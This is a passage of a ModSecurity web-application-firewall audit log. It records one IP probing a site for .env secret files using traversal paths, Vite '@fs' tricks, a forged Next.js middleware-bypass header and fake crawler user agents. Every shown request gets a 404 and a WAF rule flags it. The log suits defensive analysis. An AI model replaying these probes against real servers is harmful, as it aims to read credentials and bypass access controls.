[13/Sep/2026:09:21:11.620042 +0300] aqZA12M7dE9KgIIOpQhq0wAAAMs 34.181.172.83 42150 127.0.0.1 7081
--771eb136-B--
GET /.env.local?raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--771eb136-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--771eb136-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq0wAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq0wAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471503349 116776 (- - -)
Stopwatch2: 1789280471503349 116776; combined=35035, p1=314, p2=34656, p3=0, p4=0, p5=65, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--771eb136-Z--
--7d03ce47-A--
[13/Sep/2026:09:21:11.641526 +0300] aqZA12M7dE9KgIIOpQhq0AAAANQ 34.181.172.83 42118 127.0.0.1 7081
--7d03ce47-B--
GET /.env?raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7d03ce47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d03ce47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0AAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471311491 330109 (- - -)
Stopwatch2: 1789280471311491 330109; combined=4999, p1=279, p2=4649, p3=0, p4=0, p5=71, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d03ce47-Z--
--e65d9a5a-A--
[13/Sep/2026:09:21:11.707163 +0300] aqZA12M7dE9KgIIOpQhq0gAAANI 34.181.172.83 42136 127.0.0.1 7081
--e65d9a5a-B--
GET /.env?import&raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e65d9a5a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e65d9a5a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0gAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471448227 258995 (- - -)
Stopwatch2: 1789280471448227 258995; combined=3893, p1=255, p2=3567, p3=0, p4=0, p5=71, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e65d9a5a-Z--
--cba03d44-A--
[13/Sep/2026:09:21:11.773524 +0300] aqZA12M7dE9KgIIOpQhq0QAAAMY 34.181.172.83 42128 127.0.0.1 7081
--cba03d44-B--
GET /.env?import&url&inline HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--cba03d44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cba03d44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0QAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471368174 405418 (- - -)
Stopwatch2: 1789280471368174 405418; combined=4084, p1=261, p2=3739, p3=0, p4=0, p5=83, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cba03d44-Z--
--999b546a-A--
[13/Sep/2026:09:21:12.068413 +0300] aqZA12M7dE9KgIIOpQhq1AAAAMQ 34.181.172.83 42172 127.0.0.1 7081
--999b546a-B--
GET /.env.local?import&raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--999b546a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--999b546a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq1AAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq1AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471641225 427244 (- - -)
Stopwatch2: 1789280471641225 427244; combined=35523, p1=244, p2=35227, p3=0, p4=0, p5=52, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--999b546a-Z--
--fd27a007-A--
[13/Sep/2026:09:21:12.326983 +0300] aqZA2GM7dE9KgIIOpQhq1wAAAMo 34.181.172.83 42224 127.0.0.1 7081
--fd27a007-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--fd27a007-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fd27a007-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq1wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq1wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472030676 296388 (- - -)
Stopwatch2: 1789280472030676 296388; combined=35871, p1=301, p2=35509, p3=0, p4=0, p5=61, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fd27a007-Z--
--04e2915e-A--
[13/Sep/2026:09:21:12.358207 +0300] aqZA2GM7dE9KgIIOpQhq2AAAAMM 34.181.172.83 42214 127.0.0.1 7081
--04e2915e-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--04e2915e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--04e2915e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq2AAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472032305 325963 (- - -)
Stopwatch2: 1789280472032305 325963; combined=3692, p1=241, p2=3392, p3=0, p4=0, p5=58, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--04e2915e-Z--
--c46f2227-A--
[13/Sep/2026:09:21:12.498046 +0300] aqZA2GM7dE9KgIIOpQhq2QAAAMw 34.181.172.83 42240 127.0.0.1 7081
--c46f2227-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--c46f2227-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c46f2227-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/src/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq2QAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472310889 187247 (- - -)
Stopwatch2: 1789280472310889 187247; combined=8655, p1=260, p2=8342, p3=0, p4=0, p5=53, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c46f2227-Z--
--26816605-A--
[13/Sep/2026:09:21:12.610993 +0300] aqZA2GM7dE9KgIIOpQhq4QAAANE 34.181.172.83 42346 127.0.0.1 7081
--26816605-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--26816605-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26816605-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4QAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472511948 99121 (- - -)
Stopwatch2: 1789280472511948 99121; combined=3578, p1=255, p2=3272, p3=0, p4=0, p5=51, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26816605-Z--
--b9a34228-A--
[13/Sep/2026:09:21:12.758294 +0300] aqZA2GM7dE9KgIIOpQhq4AAAAMk 34.181.172.83 42336 127.0.0.1 7081
--b9a34228-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--b9a34228-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b9a34228-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4AAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472459031 299332 (- - -)
Stopwatch2: 1789280472459031 299332; combined=3690, p1=214, p2=3419, p3=0, p4=0, p5=57, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9a34228-Z--
--84ca7a64-A--
[13/Sep/2026:09:21:12.806179 +0300] aqZA2GM7dE9KgIIOpQhq4wAAAME 34.181.172.83 42352 127.0.0.1 7081
--84ca7a64-B--
GET /public../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--84ca7a64-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--84ca7a64-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/public../.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472593278 212982 (- - -)
Stopwatch2: 1789280472593278 212982; combined=4989, p1=258, p2=4674, p3=0, p4=0, p5=56, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--84ca7a64-Z--
--bfe00307-A--
[13/Sep/2026:09:21:12.814830 +0300] aqZA2GM7dE9KgIIOpQhq4gAAAMQ 34.181.172.83 42348 127.0.0.1 7081
--bfe00307-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--bfe00307-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bfe00307-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
